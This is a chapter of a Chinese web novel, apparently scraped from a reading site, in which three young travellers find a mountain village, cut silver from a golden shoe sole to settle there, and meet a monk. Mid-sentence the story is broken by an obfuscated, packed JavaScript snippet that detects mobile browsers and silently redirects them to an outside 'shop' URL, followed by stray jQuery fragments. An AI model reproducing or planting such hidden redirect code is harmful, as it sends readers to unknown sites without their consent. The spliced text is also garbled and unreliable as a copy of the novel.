当初本应该会留下四个人的,可其中一个偷学认字,偷看书籍,甚至敢跟训练他们的人讲道理。 自那以后,秦霄就再也没见过他。 下场不必多想,那日之后,别说开口反驳,便是有半分质疑的眼神,都不会有好结果。 忽然,袖子被人从身后轻轻扯了扯,杜月棠熟悉的声音带着讨好与哀求传来:“你生气了?对不起嘛。” 秦霄停下脚步。 他其实很喜欢杜月棠这样拉自己,换做旁人,只要靠近,他早便动了手,可若是杜月棠,他的身体从不会进入防御状态。 这便是当年训练他们的人说的,能把后背放心交出去的人。 那时他只当谁都信不过,人人都会背后捅刀,可杜月棠和杜叙,定然不会的。 “没有。”他收回思绪,“只是你这么一说,我倒真想去认字读书。”前世军营里的军师,手无缚鸡之力,不善骑射,却深受全军敬重,连顾将军都对他礼待有加。 只因那人博览群书,深谙兵法谋略,运筹帷幄间,便能不战而屈人之兵,兵不血刃。 他也想这般用脑子“杀人”,总好过亲自冲锋陷阵,溅一身血污弄得浑身脏兮兮的要好。 杜月棠虽不确定他是否真的消气,但见他主动提读书,自然觉得很好,十分赞成,“那好啊!我先教你,等咱们安顿下来,再找私塾正经学。” 读书明理,说不定还能改掉他口吐芬芳的坏习惯。 杜叙连忙凑过来附和:“对!我姐认识可多字了!”不像他,姨娘教识字时,他就忍不住想要打瞌睡。 “听说读书要不少钱。”秦霄皱了皱眉,赚钱的路子,眼下只剩打猎,可打多少猎才够束脩?更何况,去打猎了,又哪来空上私塾? 杜月棠忽然抬起脚,晃了晃,“你忘了?我们有钱啊!这金鞋底,够你读好几年的!” 就是书籍颇贵,不过她瞧秦霄这般聪明,定是过目不忘,完全可以让他去书斋看一遍默写下来,指不定日后抄书换些银钱呢。 不过转念一想,笔墨纸砚造价高昂,抄书成本太高,便又熄了这念头。 三人一路说说笑笑,拌嘴打趣,一日光阴转瞬即逝。 可惜直到夜色来袭,也没寻到合适的村落,只能依旧在山间露宿。 好在皇天不负有心人,第三日一早,跑去林间方便的杜叙,急匆匆狂奔而回,单手慌乱系着腰带,满脸激动地大喊:“阿姐!霄哥!快过来!前面山坳里,藏着一座小村子!” 那村落正如秦霄先前所说,皆是低矮茅屋,散落无序,毫无章法。村口老树丛生,枫杨树、苦槠、香榧随处可见,一看便是杂姓混居的零散村落。 秦霄目光扫过他凌乱的衣襟,面露嫌弃,“大的还是小的?” 杜叙浑然不觉,随口应道:“村子不算大,树木挡着,说不定只看见了一半。” “我问你方才方便,是大的还是小的?谁问你村子大小了?”秦霄没好气地白了他一眼,“我怕踩到,懂吗?”到时候恶心死了。 杜叙这才恍然大悟,嘿嘿笑道:“我就是尿尿。”见杜月棠要跟着去,连忙上前拦住:“阿姐你在这等我们就好,别去了,脏。” 秦霄忍不住白了杜叙一眼,说得他就不怕脏一样。“我去看看,若合适,咱们就下山。”说罢,还是和他一起过去看。 杜月棠留在原地,将马背上的行囊整理了一下,不多时,两道身影匆匆折返,眉眼间的欣喜藏都藏不住。 “阿姐,收拾东西,咱们立刻下山!”杜叙兴冲冲地喊,语气满是雀跃,“霄哥说,这村子是杂姓混居,定然肯收留我们!他还特意爬上树看了,村子另一侧还有大片屋舍,人不少呢!” 漂泊了不知多少日子,终于能有地方安顿,杜月棠心里也满是欢喜,“那还等什么?快走!” 可她忽然想起什么,连忙脱下那只镶着银鞋底的鞋子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479057|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝秦霄伸手,“你匕首呢?给我。”她那把大刀,若是带去村子,难免引人误会,怕是只能忍痛扔在山里了。 “干嘛?”秦霄瞥了眼她鞋面破烂的鞋子,瞬间反应过来,“你行不行?我这匕首削铁如泥,回头银子没削下来,伤了手可别怨我。” 话音刚落,杜叙就赶紧夺过鞋子塞给秦霄,“霄哥还是你来吧,你的匕首你用得顺手!”可别真伤着他姐姐。 秦霄一眼就看穿了他的心思,嗤笑一声:“嘁,一口一个霄哥叫得好听,真有危险,还不是要小爷我上。” 不过嘴上吐槽着,手却没停,匕首在鞋跟边缘轻轻一划,便削下一条二两重的薄银,随后将鞋子扔给杜月棠,“将就穿吧,如今年岁不好,拿出二两银子安家,已是不少。”太多反而惹人注目。 杜月棠点点头,“成,等咱们日后寻了营生,再慢慢拿些补贴,定然不会被人发现。” 穿好鞋子,三人一马立刻朝着山下的村子走去。 然看着近在眼前的村落,实则又走了小半天才找到一条村民民上山打柴的羊肠小道。 顺着小路走了半个多时辰,方有条半丈宽的泥土路,显然这村子里也是有些富裕人家的,平日里有牛车骡子来往。 而牵着一匹瘦马的他们一出现,村口池塘边那玩水的几个五六岁男娃看到后,激动得立马光着屁股跑出来,一面扯着嗓子大喊:“马!有马!大家快来看大马咯!” 男娃们围着马看,杜叙却惊奇地盯着光着屁股的他们,一面不忘扯了扯杜月棠的袖子,小声道:“阿姐,你别看,他们没穿裤子,会长针眼的。” 池塘边上是一棵三人环抱的老枫杨树,这些孩子脱下的褂子裤头,全都扔在树下,一个胖乎乎的和尚坐在那里打盹。 猛地被这些孩子的吵闹惊醒,在看到已经走到树下的杜月棠三人,愣了一下,立即起身双手合十,“阿弥陀佛,几位小施主这莫不是从西南过来的?”